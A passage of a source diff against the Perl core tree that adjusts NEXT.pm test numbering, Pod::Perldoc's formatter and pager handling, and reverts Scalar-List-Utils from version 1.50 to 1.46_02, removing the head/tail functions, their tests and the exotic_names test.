@@ -16,13 +16,13 @@ sub B::AUTOLOAD { return ( 9, $_[0]->NEXT::AUTOLOAD() )
 sub B::DESTROY  { $_[0]->NEXT::DESTROY() }
 
 package C;
-sub C::DESTROY  { print "ok 25\n"; $_[0]->NEXT::DESTROY() }
+sub C::DESTROY  { print "ok 24\n"; $_[0]->NEXT::DESTROY() }
 
 package D;
 @D::ISA = qw( B C E );
 sub D::method   { return ( 2, $_[0]->NEXT::method() ) }
 sub D::AUTOLOAD { return ( 8, $_[0]->NEXT::AUTOLOAD() ) }
-sub D::DESTROY  { print "ok 24\n"; $_[0]->NEXT::DESTROY() }
+sub D::DESTROY  { print "ok 23\n"; $_[0]->NEXT::DESTROY() }
 sub D::oops     { $_[0]->NEXT::method() }
 sub D::secondary { return ( 17, 18, map { $_+10 } $_[0]->NEXT::secondary() ) }
 
@@ -31,12 +31,12 @@ package E;
 sub E::method   { return ( 4,  $_[0]->NEXT::method(), $_[0]->NEXT::method() ) }
 sub E::AUTOLOAD { return ( 10, $_[0]->NEXT::AUTOLOAD() ) 
 			if $AUTOLOAD =~ /.*(missing_method|secondary)/ }
-sub E::DESTROY  { print "ok 26\n"; $_[0]->NEXT::DESTROY() }
+sub E::DESTROY  { print "ok 25\n"; $_[0]->NEXT::DESTROY() }
 
 package F;
 sub F::method   { return ( 5  ) }
 sub F::AUTOLOAD { return ( 11 ) if $AUTOLOAD =~ /.*(missing_method|secondary)/ }
-sub F::DESTROY  { print "ok 27\n" }
+sub F::DESTROY  { print "ok 26\n" }
 
 package G;
 sub G::method   { return ( 6 ) }
@@ -104,15 +104,4 @@ eval {
 };
 print "ok 22\n";
 
-# TEST WITH CONSTANTS (23)
-
-package Hay;
-@ISA = 'Bee';
-sub foo { return shift->NEXT::foo }
-package Bee;
-use constant foo => 3;
-package main;
-print "not " unless Hay->foo eq '3';
-print "ok 23\n";
-
-# CAN REDISPATCH DESTRUCTORS (ok 24..27)
+# CAN REDISPATCH DESTRUCTORS (ok 23..26)
diff --git a/cpan/Pod-Perldoc/lib/Pod/Perldoc.pm b/cpan/Pod-Perldoc/lib/Pod/Perldoc.pm
index bb6ffc83efb4..8d695b2b4b6c 100644
--- a/cpan/Pod-Perldoc/lib/Pod/Perldoc.pm
+++ b/cpan/Pod-Perldoc/lib/Pod/Perldoc.pm
@@ -12,7 +12,7 @@ use File::Spec::Functions qw(catfile catdir splitdir);
 use vars qw($VERSION @Pagers $Bindir $Pod2man
   $Temp_Files_Created $Temp_File_Lifetime
 );
-$VERSION = '3.2801';
+$VERSION = '3.28';
 
 #..........................................................................
 
@@ -486,6 +486,11 @@ sub init_formatter_class_list {
 
   $self->opt_M_with('Pod::Perldoc::ToPod');   # the always-there fallthru
   $self->opt_o_with('text');
+  $self->opt_o_with('term') 
+    unless $self->is_mswin32 || $self->is_dos || $self->is_amigaos
+       || !($ENV{TERM} && (
+              ($ENV{TERM} || '') !~ /dumb|emacs|none|unknown/i
+           ));
 
   return;
 }
@@ -1932,6 +1937,11 @@ sub page {  # apply a pager to the output file
 	    } elsif($self->is_amigaos) { 
                 last if system($pager, $output) == 0;
             } else {
+                my $formatter = $self->{'formatter_class'};
+                if ( $formatter->can('pager_configuration') ) {
+                  $self->aside("About to call $formatter" . "->pager_configuration(\"$pager\")\n");
+                  $formatter->pager_configuration($pager, $self);
+                }
                 last if system("$pager \"$output\"") == 0;
             }
         }
diff --git a/cpan/Scalar-List-Utils/ListUtil.xs b/cpan/Scalar-List-Utils/ListUtil.xs
index 12f98cde1929..79e74d9302d4 100644
--- a/cpan/Scalar-List-Utils/ListUtil.xs
+++ b/cpan/Scalar-List-Utils/ListUtil.xs
@@ -7,34 +7,14 @@
 #include 
 #include 
 
-#ifdef USE_PPPORT_H
-#  define NEED_sv_2pv_flags 1
-#  define NEED_newSVpvn_flags 1
-#  define NEED_sv_catpvn_flags
-#  include "ppport.h"
-#endif
-
-#ifndef PERL_VERSION_DECIMAL
-#  define PERL_VERSION_DECIMAL(r,v,s) (r*1000000 + v*1000 + s)
-#endif
-#ifndef PERL_DECIMAL_VERSION
-#  define PERL_DECIMAL_VERSION \
-	  PERL_VERSION_DECIMAL(PERL_REVISION,PERL_VERSION,PERL_SUBVERSION)
-#endif
-#ifndef PERL_VERSION_GE
-#  define PERL_VERSION_GE(r,v,s) \
-	  (PERL_DECIMAL_VERSION >= PERL_VERSION_DECIMAL(r,v,s))
-#endif
-#ifndef PERL_VERSION_LE
-#  define PERL_VERSION_LE(r,v,s) \
-	  (PERL_DECIMAL_VERSION <= PERL_VERSION_DECIMAL(r,v,s))
-#endif
+#define NEED_sv_2pv_flags 1
+#include "ppport.h"
 
-#if PERL_VERSION_GE(5,6,0)
+#if PERL_BCDVERSION >= 0x5006000
 #  include "multicall.h"
 #endif
 
-#if !PERL_VERSION_GE(5,23,8)
+#if PERL_BCDVERSION < 0x5023008
 #  define UNUSED_VAR_newsp PERL_UNUSED_VAR(newsp)
 #else
 #  define UNUSED_VAR_newsp NOOP
@@ -44,39 +24,11 @@
 #  define CvISXSUB(cv) CvXSUB(cv)
 #endif
 
-#ifndef HvNAMELEN_get
-#define HvNAMELEN_get(stash) strlen(HvNAME(stash))
-#endif
-
-#ifndef HvNAMEUTF8
-#define HvNAMEUTF8(stash) 0
-#endif
-
-#ifndef GvNAMEUTF8
-#ifdef GvNAME_HEK
-#define GvNAMEUTF8(gv) HEK_UTF8(GvNAME_HEK(gv))
-#else
-#define GvNAMEUTF8(gv) 0
-#endif
-#endif
-
-#ifndef SV_CATUTF8
-#define SV_CATUTF8 0
-#endif
-
-#ifndef SV_CATBYTES
-#define SV_CATBYTES 0
-#endif
-
-#ifndef sv_catpvn_flags
-#define sv_catpvn_flags(b,n,l,f) sv_catpvn(b,n,l)
-#endif
-
 /* Some platforms have strict exports. And before 5.7.3 cxinc (or Perl_cxinc)
    was not exported. Therefore platforms like win32, VMS etc have problems
    so we redefine it here -- GMB
 */
-#if !PERL_VERSION_GE(5,7,0)
+#if PERL_BCDVERSION < 0x5007000
 /* Not in 5.6.1. */
 #  ifdef cxinc
 #    undef cxinc
@@ -219,8 +171,8 @@ CODE:
     if(!items)
         switch(ix) {
             case 0: XSRETURN_UNDEF;
-            case 1: ST(0) = sv_2mortal(newSViv(0)); XSRETURN(1);
-            case 2: ST(0) = sv_2mortal(newSViv(1)); XSRETURN(1);
+            case 1: ST(0) = newSViv(0); XSRETURN(1);
+            case 2: ST(0) = newSViv(1); XSRETURN(1);
         }
 
     sv    = ST(0);
@@ -613,56 +565,6 @@ PPCODE:
     XSRETURN(1);
 }
 
-void
-head(size,...)
-PROTOTYPE: $@
-ALIAS:
-    head = 0
-    tail = 1
-PPCODE:
-{
-    int size = 0;
-    int start = 0;
-    int end = 0;
-    int i = 0;
-
-    size = SvIV( ST(0) );
-
-    if ( ix == 0 ) {
-        start = 1;
-        end = start + size;
-        if ( size < 0 ) {
-            end += items - 1;
-        }
-        if ( end > items ) {
-            end = items;
-        }
-    }
-    else {
-        end = items;
-        if ( size < 0 ) {
-            start = -size + 1;
-        }
-        else {
-            start = end - size;
-        }
-        if ( start < 1 ) {
-            start = 1;
-        }
-    }
-
-    if ( end < start ) {
-        XSRETURN(0);
-    }
-    else {
-        EXTEND( SP, end - start );
-        for ( i = start; i <= end; i++ ) {
-            PUSHs( sv_2mortal( newSVsv( ST(i) ) ) );
-        }
-        XSRETURN( end - start );
-    }
-}
-
 void
 pairs(...)
 PROTOTYPE: @
@@ -715,9 +617,9 @@ PPCODE:
         SvGETMAGIC(pair);
 
         if(SvTYPE(pair) != SVt_RV)
-            croak("Not a reference at List::Util::unpairs() argument %d", i);
+            croak("Not a reference at List::Util::unpack() argument %d", i);
         if(SvTYPE(SvRV(pair)) != SVt_PVAV)
-            croak("Not an ARRAY reference at List::Util::unpairs() argument %d", i);
+            croak("Not an ARRAY reference at List::Util::unpack() argument %d", i);
 
         /* TODO: assert pair is an ARRAY ref */
         pairav = (AV *)SvRV(pair);
@@ -977,14 +879,13 @@ PPCODE:
 /* This MULTICALL-based code appears to fail on perl 5.10.0 and 5.8.9
  * Skip it on those versions (RT#87857)
  */
-#if defined(dMULTICALL) && (PERL_VERSION_GE(5,10,1) || PERL_VERSION_LE(5,8,8))
+#if defined(dMULTICALL) && (PERL_BCDVERSION > 0x5010000 || PERL_BCDVERSION < 0x5008009)
     assert(cv);
     if(!CvISXSUB(cv)) {
         /* Since MULTICALL is about to move it */
         SV **stack = PL_stack_base + ax;
         I32 ret_gimme = GIMME_V;
         int i;
-        AV *spill = NULL; /* accumulates results if too big for stack */
 
         dMULTICALL;
         I32 gimme = G_ARRAY;
@@ -994,64 +895,41 @@ PPCODE:
         for(; argi < items; argi += 2) {
             int count;
 
-            GvSV(agv) = stack[argi];
-            GvSV(bgv) = argi < items-1 ? stack[argi+1]: &PL_sv_undef;
+            GvSV(agv) = args_copy ? args_copy[argi] : stack[argi];
+            GvSV(bgv) = argi < items-1 ?
+                (args_copy ? args_copy[argi+1] : stack[argi+1]) :
+                &PL_sv_undef;
 
             MULTICALL;
             count = PL_stack_sp - PL_stack_base;
 
-            if (count > 2 || spill) {
+            if(count > 2 && !args_copy) {
                 /* We can't return more than 2 results for a given input pair
-                 * without trashing the remaining arguments on the stack still
-                 * to be processed, or possibly overrunning the stack end.
-                 * So, we'll accumulate the results in a temporary buffer
-                 * instead.
+                 * without trashing the remaining argmuents on the stack still
+                 * to be processed. So, we'll copy them out to a temporary
+                 * buffer and work from there instead.
                  * We didn't do this initially because in the common case, most
                  * code blocks will return only 1 or 2 items so it won't be
                  * necessary
                  */
-                int fill;
-
-                if (!spill) {
-                    spill = newAV();
-                    AvREAL_off(spill); /* don't ref count its contents */
-                    /* can't mortalize here as every nextstate in the code
-                     * block frees temps */
-                    SAVEFREESV(spill);
-                }
-
-                fill = (int)AvFILL(spill);
-                av_extend(spill, fill + count);
-                for(i = 0; i < count; i++)
-                    (void)av_store(spill, ++fill,
-                                    newSVsv(PL_stack_base[i + 1]));
-            }
-            else
-                for(i = 0; i < count; i++)
-                    stack[reti++] = newSVsv(PL_stack_base[i + 1]);
-        }
+                int n_args = items - argi;
+                Newx(args_copy, n_args, SV *);
+                SAVEFREEPV(args_copy);
 
-        if (spill)
-            /* the POP_MULTICALL will trigger the SAVEFREESV above;
-             * keep it alive  it on the temps stack instead */
-            SvREFCNT_inc_simple_void_NN(spill);
-            sv_2mortal((SV*)spill);
+                Copy(stack + argi, args_copy, n_args, SV *);
 
-        POP_MULTICALL;
+                argi = 0;
+                items = n_args;
+            }
 
-        if (spill) {
-            int n = (int)AvFILL(spill) + 1;
-            SP = &ST(reti - 1);
-            EXTEND(SP, n);
-            for (i = 0; i < n; i++)
-                *++SP = *av_fetch(spill, i, FALSE);
-            reti += n;
-            av_clear(spill);
+            for(i = 0; i < count; i++)
+                stack[reti++] = newSVsv(PL_stack_sp[i - count + 1]);
         }
+        POP_MULTICALL;
 
         if(ret_gimme == G_ARRAY)
             for(i = 0; i < reti; i++)
-                sv_2mortal(ST(i));
+                sv_2mortal(stack[i]);
     }
     else
 #endif
@@ -1178,11 +1056,11 @@ CODE:
                 arg = sv_mortalcopy(arg);
 
             if(SvUOK(arg))
-                sv_setpvf(keysv, "%" UVuf, SvUV(arg));
+                sv_setpvf(keysv, "%"UVuf, SvUV(arg));
             else if(SvIOK(arg))
-                sv_setpvf(keysv, "%" IVdf, SvIV(arg));
+                sv_setpvf(keysv, "%"IVdf, SvIV(arg));
             else
-                sv_setpvf(keysv, "%" NVgf, SvNV(arg));
+                sv_setpvf(keysv, "%"NVgf, SvNV(arg));
 #ifdef HV_FETCH_EMPTY_HE
             he = (HE*) hv_common(seen, NULL, SvPVX(keysv), SvCUR(keysv), 0, HV_FETCH_LVALUE | HV_FETCH_EMPTY_HE, NULL, 0);
             if (HeVAL(he))
@@ -1193,7 +1071,7 @@ CODE:
             if(hv_exists(seen, SvPVX(keysv), SvCUR(keysv)))
                 continue;
 
-            hv_store(seen, SvPVX(keysv), SvCUR(keysv), &PL_sv_yes, 0);
+            hv_store(seen, SvPVX(keysv), SvCUR(keysv), &PL_sv_undef, 0);
 #endif
 
             if(GIMME_V == G_ARRAY)
@@ -1237,7 +1115,7 @@ CODE:
             if (hv_exists_ent(seen, arg, 0))
                 continue;
 
-            hv_store_ent(seen, arg, &PL_sv_yes, 0);
+            hv_store_ent(seen, arg, &PL_sv_undef, 0);
 #endif
 
             if(GIMME_V == G_ARRAY)
@@ -1366,10 +1244,7 @@ PROTOTYPE: $
 INIT:
     SV *tsv;
 CODE:
-#if defined(sv_rvunweaken)
-    PERL_UNUSED_VAR(tsv);
-    sv_rvunweaken(sv);
-#elif defined(SvWEAKREF)
+#ifdef SvWEAKREF
     /* This code stolen from core's sv_rvweaken() and modified */
     if (!SvOK(sv))
         return;
@@ -1454,7 +1329,7 @@ CODE:
     if(SvAMAGIC(sv) && (tempsv = AMG_CALLun(sv, numer))) {
         sv = tempsv;
     }
-#if !PERL_VERSION_GE(5,8,5)
+#if PERL_BCDVERSION < 0x5008005
     if(SvPOK(sv) || SvPOKp(sv)) {
         RETVAL = looks_like_number(sv) ? &PL_sv_yes : &PL_sv_no;
     }
@@ -1527,19 +1402,14 @@ PPCODE:
 
 void
 set_subname(name, sub)
-    SV *name
+    char *name
     SV *sub
 PREINIT:
     CV *cv = NULL;
     GV *gv;
     HV *stash = CopSTASH(PL_curcop);
-    const char *s, *end = NULL, *begin = NULL;
+    char *s, *end = NULL;
     MAGIC *mg;
-    STRLEN namelen;
-    const char* nameptr = SvPV(name, namelen);
-    int utf8flag = SvUTF8(name);
-    int quotes_seen = 0;
-    bool need_subst = FALSE;
 PPCODE:
     if (!SvROK(sub) && SvGMAGICAL(sub))
         mg_get(sub);
@@ -1552,77 +1422,63 @@ PPCODE:
     else if (PL_op->op_private & HINT_STRICT_REFS)
         croak("Can't use string (\"%.32s\") as %s ref while \"strict refs\" in use",
               SvPV_nolen(sub), "a subroutine");
-    else if ((gv = gv_fetchsv(sub, FALSE, SVt_PVCV)))
+    else if ((gv = gv_fetchpv(SvPV_nolen(sub), FALSE, SVt_PVCV)))
         cv = GvCVu(gv);
     if (!cv)
         croak("Undefined subroutine %s", SvPV_nolen(sub));
     if (SvTYPE(cv) != SVt_PVCV && SvTYPE(cv) != SVt_PVFM)
         croak("Not a subroutine reference");
-    for (s = nameptr; s <= nameptr + namelen; s++) {
-        if (s > nameptr && *s == ':' && s[-1] == ':') {
-            end = s - 1;
-            begin = ++s;
-            if (quotes_seen)
-                need_subst = TRUE;
-        }
-        else if (s > nameptr && *s != '\0' && s[-1] == '\'') {
-            end = s - 1;
-            begin = s;
-            if (quotes_seen++)
-                need_subst = TRUE;
-        }
+    for (s = name; *s++; ) {
+        if (*s == ':' && s[-1] == ':')
+            end = ++s;
+        else if (*s && s[-1] == '\'')
+            end = s;
     }
     s--;
     if (end) {
-        SV* tmp;
-        if (need_subst) {
-            STRLEN length = end - nameptr + quotes_seen - (*end == '\'' ? 1 : 0);
-            char* left;
-            int i, j;
-            tmp = sv_2mortal(newSV(length));
-            left = SvPVX(tmp);
-            for (i = 0, j = 0; j < end - nameptr; ++i, ++j) {
-                if (nameptr[j] == '\'') {
-                    left[i] = ':';
-                    left[++i] = ':';
-                }
-                else {
-                    left[i] = nameptr[j];
-                }
-            }
-            stash = gv_stashpvn(left, length, GV_ADD | utf8flag);
-        }
-        else
-            stash = gv_stashpvn(nameptr, end - nameptr, GV_ADD | utf8flag);
-        nameptr = begin;
-        namelen -= begin - nameptr;
+        char *namepv = savepvn(name, end - name);
+        stash = GvHV(gv_fetchpv(namepv, TRUE, SVt_PVHV));
+        Safefree(namepv);
+        name = end;
     }
 
     /* under debugger, provide information about sub location */
     if (PL_DBsub && CvGV(cv)) {
-        HV* DBsub = GvHV(PL_DBsub);
-        HE* old_data;
-
-        GV* oldgv = CvGV(cv);
-        HV* oldhv = GvSTASH(oldgv);
-        SV* old_full_name = sv_2mortal(newSVpvn_flags(HvNAME(oldhv), HvNAMELEN_get(oldhv), HvNAMEUTF8(oldhv) ? SVf_UTF8 : 0));
-        sv_catpvn(old_full_name, "::", 2);
-        sv_catpvn_flags(old_full_name, GvNAME(oldgv), GvNAMELEN(oldgv), GvNAMEUTF8(oldgv) ? SV_CATUTF8 : SV_CATBYTES);
-
-        old_data = hv_fetch_ent(DBsub, old_full_name, 0, 0);
-
-        if (old_data && HeVAL(old_data)) {
-            SV* new_full_name = sv_2mortal(newSVpvn_flags(HvNAME(stash), HvNAMELEN_get(stash), HvNAMEUTF8(stash) ? SVf_UTF8 : 0));
-            sv_catpvn(new_full_name, "::", 2);
-            sv_catpvn_flags(new_full_name, nameptr, s - nameptr, utf8flag ? SV_CATUTF8 : SV_CATBYTES);
-            SvREFCNT_inc(HeVAL(old_data));
-            if (hv_store_ent(DBsub, new_full_name, HeVAL(old_data), 0) != NULL)
-                SvREFCNT_inc(HeVAL(old_data));
+        HV *hv = GvHV(PL_DBsub);
+
+        char *new_pkg = HvNAME(stash);
+
+        char *old_name = GvNAME( CvGV(cv) );
+        char *old_pkg = HvNAME( GvSTASH(CvGV(cv)) );
+
+        int old_len = strlen(old_name) + strlen(old_pkg);
+        int new_len = strlen(name) + strlen(new_pkg);
+
+        SV **old_data;
+        char *full_name;
+
+        Newxz(full_name, (old_len > new_len ? old_len : new_len) + 3, char);
+
+        strcat(full_name, old_pkg);
+        strcat(full_name, "::");
+        strcat(full_name, old_name);
+
+        old_data = hv_fetch(hv, full_name, strlen(full_name), 0);
+
+        if (old_data) {
+            strcpy(full_name, new_pkg);
+            strcat(full_name, "::");
+            strcat(full_name, name);
+
+            SvREFCNT_inc(*old_data);
+            if (!hv_store(hv, full_name, strlen(full_name), *old_data, 0))
+                SvREFCNT_dec(*old_data);
         }
+        Safefree(full_name);
     }
 
     gv = (GV *) newSV(0);
-    gv_init_pvn(gv, stash, nameptr, s - nameptr, GV_ADDMULTI | utf8flag);
+    gv_init(gv, stash, name, s - name, TRUE);
 
     /*
      * set_subname needs to create a GV to store the name. The CvGV field of a
diff --git a/cpan/Scalar-List-Utils/Makefile.PL b/cpan/Scalar-List-Utils/Makefile.PL
index 37bd104b409b..247b3b7d9d76 100644
--- a/cpan/Scalar-List-Utils/Makefile.PL
+++ b/cpan/Scalar-List-Utils/Makefile.PL
@@ -11,7 +11,7 @@ WriteMakefile(
   NAME         => q[List::Util],
   ABSTRACT     => q[Common Scalar and List utility subroutines],
   AUTHOR       => q[Graham Barr ],
-  DEFINE       => ($ENV{PERL_CORE} ? q[-DPERL_EXT] : q[-DPERL_EXT -DUSE_PPPORT_H]),
+  DEFINE       => q[-DPERL_EXT],
   DISTNAME     => q[Scalar-List-Utils],
   VERSION_FROM => 'lib/List/Util.pm',
 
@@ -54,3 +54,4 @@ WriteMakefile(
     )
   ),
 );
+
diff --git a/cpan/Scalar-List-Utils/lib/List/Util.pm b/cpan/Scalar-List-Utils/lib/List/Util.pm
index b650d3585ac6..23473fc627bb 100644
--- a/cpan/Scalar-List-Utils/lib/List/Util.pm
+++ b/cpan/Scalar-List-Utils/lib/List/Util.pm
@@ -13,9 +13,9 @@ require Exporter;
 our @ISA        = qw(Exporter);
 our @EXPORT_OK  = qw(
   all any first min max minstr maxstr none notall product reduce sum sum0 shuffle uniq uniqnum uniqstr
-  head tail pairs unpairs pairkeys pairvalues pairmap pairgrep pairfirst
+  pairs unpairs pairkeys pairvalues pairmap pairgrep pairfirst
 );
-our $VERSION    = "1.50";
+our $VERSION    = "1.46_02";
 our $XS_VERSION = $VERSION;
 $VERSION    = eval $VERSION;
 
@@ -116,7 +116,7 @@ C being returned
 
 The above example code blocks also suggest how to use C to build a
 more efficient combined version of one of these basic functions and a C
-block. For example, to find the total length of all the strings in a list,
+block. For example, to find the total length of the all the strings in a list,
 we could use
 
     $total = sum map { length } @strings;
@@ -149,9 +149,6 @@ instead, as it can short-circuit after the first true result.
         # at least one string has more than 10 characters
     }
 
-Note: Due to XS issues the block passed may be able to access the outer @_
-directly. This is not intentional and will break under debugger.
-
 =head2 all
 
     my $bool = all { BLOCK } @list;
@@ -163,9 +160,6 @@ make the C return true. If any element returns false, then it returns
 false. If the C never returns false or the C<@list> was empty then it
 returns true.
 
-Note: Due to XS issues the block passed may be able to access the outer @_
-directly. This is not intentional and will break under debugger.
-
 =head2 none
 
 =head2 notall
@@ -180,9 +174,6 @@ Similar to L and L, but with the return sense inverted. C
 returns true only if no value in the C<@list> causes the C to return
 true, and C returns true only if not all of the values do.
 
-Note: Due to XS issues the block passed may be able to access the outer @_
-directly. This is not intentional and will break under debugger.
-
 =head2 first
 
     my $val = first { BLOCK } @list;
@@ -553,32 +544,6 @@ entire list of values returned by C are well-behaved as strings.
 
 =cut
 
-=head2 head
-
-    my @values = head $size, @list;
-
-Returns the first C<$size> elements from C<@list>. If C<$size> is negative, returns
-all but the last C<$size> elements from C<@list>.
-
-    @result = head 2, qw( foo bar baz );
-    # foo, bar
-
-    @result = head -2, qw( foo bar baz );
-    # foo
-
-=head2 tail
-
-    my @values = tail $size, @list;
-
-Returns the last C<$size> elements from C<@list>. If C<$size> is negative, returns
-all but the first C<$size> elements from C<@list>.
-
-    @result = tail 2, qw( foo bar baz );
-    # bar, baz
-
-    @result = tail -2, qw( foo bar baz );
-    # baz
-
 =head1 KNOWN BUGS
 
 =head2 RT #95409
diff --git a/cpan/Scalar-List-Utils/lib/List/Util/XS.pm b/cpan/Scalar-List-Utils/lib/List/Util/XS.pm
index c8c066f8256a..783499c35f6a 100644
--- a/cpan/Scalar-List-Utils/lib/List/Util/XS.pm
+++ b/cpan/Scalar-List-Utils/lib/List/Util/XS.pm
@@ -3,7 +3,7 @@ use strict;
 use warnings;
 use List::Util;
 
-our $VERSION = "1.50";       # FIXUP
+our $VERSION = "1.46_02";    # FIXUP
 $VERSION = eval $VERSION;    # FIXUP
 
 1;
diff --git a/cpan/Scalar-List-Utils/lib/Scalar/Util.pm b/cpan/Scalar-List-Utils/lib/Scalar/Util.pm
index 698215870591..bb0f780b554f 100644
--- a/cpan/Scalar-List-Utils/lib/Scalar/Util.pm
+++ b/cpan/Scalar-List-Utils/lib/Scalar/Util.pm
@@ -17,7 +17,7 @@ our @EXPORT_OK = qw(
   dualvar isdual isvstring looks_like_number openhandle readonly set_prototype
   tainted
 );
-our $VERSION    = "1.50";
+our $VERSION    = "1.46_02";
 $VERSION   = eval $VERSION;
 
 require List::Util; # List::Util loads the XS
diff --git a/cpan/Scalar-List-Utils/lib/Sub/Util.pm b/cpan/Scalar-List-Utils/lib/Sub/Util.pm
index edcc6544f6e2..28888f826550 100644
--- a/cpan/Scalar-List-Utils/lib/Sub/Util.pm
+++ b/cpan/Scalar-List-Utils/lib/Sub/Util.pm
@@ -15,7 +15,7 @@ our @EXPORT_OK = qw(
   subname set_subname
 );
 
-our $VERSION    = "1.50";
+our $VERSION    = "1.46_02";
 $VERSION   = eval $VERSION;
 
 require List::Util; # as it has the XS
@@ -102,7 +102,7 @@ This function was inspired by C from L. The
 remaining functions that C implements can easily be emulated
 using regexp operations, such as
 
- sub get_code_info { return (subname $_[0]) =~ m/^(.+)::(.*?)$/ }
+ sub get_code_info { return (subname $_[0]) =~ m/^(.+)::(.+?)$/ }
  sub sub_name      { return (get_code_info $_[0])[0] }
  sub stash_name    { return (get_code_info $_[0])[1] }
 
diff --git a/cpan/Scalar-List-Utils/t/exotic_names.t b/cpan/Scalar-List-Utils/t/exotic_names.t
deleted file mode 100644
index cb5d2cc9f2d1..000000000000
--- a/cpan/Scalar-List-Utils/t/exotic_names.t
+++ /dev/null
@@ -1,122 +0,0 @@
-use strict;
-use warnings;
-
-use Test::More;
-use B 'svref_2object';
-BEGIN { $^P |= 0x210 }
-
-# This is a mess. The stash can supposedly handle Unicode but the behavior
-# is literally undefined before 5.16 (with crashes beyond the basic plane),
-# and remains unclear past 5.16 with evalbytes and feature unicode_eval
-# In any case - Sub::Name needs to *somehow* work with this, so we will do
-# a heuristic with ambiguous eval and looking for octets in the stash
-use if $] >= 5.016, feature => 'unicode_eval';
-
-if ($] >= 5.008) {
-	my $builder = Test::More->builder;
-	binmode $builder->output,         ":encoding(utf8)";
-	binmode $builder->failure_output, ":encoding(utf8)";
-	binmode $builder->todo_output,    ":encoding(utf8)";
-}
-
-sub compile_named_sub {
-    my ( $fullname, $body ) = @_;
-    my $sub = eval "sub $fullname { $body }" . '\\&{$fullname}';
-    return $sub if $sub;
-    my $e = $@;
-    require Carp;
-    Carp::croak $e;
-}
-
-sub caller3_ok {
-    my ( $sub, $expected, $type, $ord ) = @_;
-
-    local $Test::Builder::Level = $Test::Builder::Level + 1;
-
-    my $for_what = sprintf "when it contains \\x%s ( %s )", (
-        ( ($ord > 255)
-            ? sprintf "{%X}", $ord
-            : sprintf "%02X", $ord
-        ),
-        (
-            $ord > 255                    ? unpack('H*', pack 'C0U', $ord )
-            : ($ord > 0x1f and $ord < 0x7f) ? sprintf "%c", $ord
-            :                                 sprintf '\%o', $ord
-        ),
-    );
-
-    $expected =~ s/'/::/g;
-
-    # this is apparently how things worked before 5.16
-    utf8::encode($expected) if $] < 5.016 and $ord > 255;
-
-    my $stash_name = join '::', map { $_->STASH->NAME, $_->NAME } svref_2object($sub)->GV;
-
-    is $stash_name, $expected, "stash name for $type is correct $for_what";
-    is $sub->(), $expected, "caller() in $type returns correct name $for_what";
-    SKIP: {
-      skip '%DB::sub not populated when enabled at runtime', 1
-        unless keys %DB::sub;
-      my ($prefix) = $expected =~ /^(.*?test::[^:]+::)/;
-      my ($db_found) = grep /^$prefix/, keys %DB::sub;
-      is $db_found, $expected, "%DB::sub entry for $type is correct $for_what";
-    }
-}
-
-#######################################################################
-
-use Sub::Util 'set_subname';
-
-my @ordinal = ( 1 .. 255 );
-
-# 5.14 is the first perl to start properly handling \0 in identifiers
-unshift @ordinal, 0
-    unless $] < 5.014;
-
-# Unicode in 5.6 is not sane (crashes etc)
-push @ordinal,
-    0x100,    # LATIN CAPITAL LETTER A WITH MACRON
-    0x498,    # CYRILLIC CAPITAL LETTER ZE WITH DESCENDER
-    0x2122,   # TRADE MARK SIGN
-    0x1f4a9,  # PILE OF POO
-    unless $] < 5.008;
-
-plan tests => @ordinal * 2 * 3;
-
-my $legal_ident_char = "A-Z_a-z0-9'";
-$legal_ident_char .= join '', map chr, 0x100, 0x498
-    unless $] < 5.008;
-
-my $uniq = 'A000';
-for my $ord (@ordinal) {
-    my $sub;
-    $uniq++;
-    my $pkg      = sprintf 'test::%s::SOME_%c_STASH', $uniq, $ord;
-    my $subname  = sprintf 'SOME_%s_%c_NAME', $uniq, $ord;
-    my $fullname = join '::', $pkg, $subname;
-
-    $sub = set_subname $fullname => sub { (caller(0))[3] };
-    caller3_ok $sub, $fullname, 'renamed closure', $ord;
-
-    # test that we can *always* compile at least within the correct package
-    my $expected;
-    if ( chr($ord) =~ m/^[$legal_ident_char]$/o ) { # compile directly
-        $expected = "native::$fullname";
-        $sub = compile_named_sub $expected => '(caller(0))[3]';
-    }
-    else { # not a legal identifier but at least test the package name by aliasing
-        $expected = "aliased::native::$fullname";
-        {
-          no strict 'refs';
-          *palatable:: = *{"aliased::native::${pkg}::"};
-          # now palatable:: literally means aliased::native::${pkg}::
-          my $encoded_sub = $subname;
-          utf8::encode($encoded_sub) if "$]" < 5.016 and $ord > 255;
-          ${"palatable::$encoded_sub"} = 1;
-          ${"palatable::"}{"sub"} = ${"palatable::"}{$encoded_sub};
-          # and palatable::sub means aliased::native::${pkg}::${subname}
-        }
-        $sub = compile_named_sub 'palatable::sub' => '(caller(0))[3]';
-    }
-    caller3_ok $sub, $expected, 'natively compiled sub', $ord;
-}
diff --git a/cpan/Scalar-List-Utils/t/head-tail.t b/cpan/Scalar-List-Utils/t/head-tail.t
deleted file mode 100644
index 9477275a0833..000000000000
--- a/cpan/Scalar-List-Utils/t/head-tail.t
+++ /dev/null
@@ -1,97 +0,0 @@
-#!./perl
-
-use strict;
-use warnings;
-
-use List::Util qw(head tail);
-use Test::More;
-plan tests => 42;
-
-my @ary;
-
-ok(defined &head, 'defined');
-ok(defined &tail, 'defined');
-
-@ary = head 1, ( 4, 5, 6 );
-is( scalar @ary, 1 );
-is( $ary[0], 4 );
-
-@ary = head 2, ( 4, 5, 6 );
-is( scalar @ary, 2 );
-is( $ary[0], 4 );
-is( $ary[1], 5 );
-
-@ary = head -1, ( 4, 5, 6 );
-is( scalar @ary, 2 );
-is( $ary[0], 4 );
-is( $ary[1], 5 );
-
-@ary = head -2, ( 4, 5, 6 );
-is( scalar @ary, 1 );
-is( $ary[0], 4 );
-
-@ary = head 999, ( 4, 5, 6 );
-is( scalar @ary, 3 );
-is( $ary[0], 4 );
-is( $ary[1], 5 );
-is( $ary[2], 6 );
-
-@ary = head 0, ( 4, 5, 6 );
-is( scalar @ary, 0 );
-
-@ary = head 0;
-is( scalar @ary, 0 );
-
-@ary = head 5;
-is( scalar @ary, 0 );
-
-@ary = head -3, ( 4, 5, 6 );
-is( scalar @ary, 0 );
-
-@ary = head -999, ( 4, 5, 6 );
-is( scalar @ary, 0 );
-
-eval '@ary = head';
-like( $@, qr{^Not enough arguments for List::Util::head} );
-
-@ary = head 4, ( 4, 5, 6 );
-is( scalar @ary, 3 );
-is( $ary[0], 4 );
-is( $ary[1], 5 );
-is( $ary[2], 6 );
-
-@ary = tail 1, ( 4, 5, 6 );
-is( scalar @ary, 1 );
-is( $ary[0], 6 );
-
-@ary = tail 2, ( 4, 5, 6 );
-is( scalar @ary, 2 );
-is( $ary[0], 5 );
-is( $ary[1], 6 );
-
-@ary = tail -1, ( 4, 5, 6 );
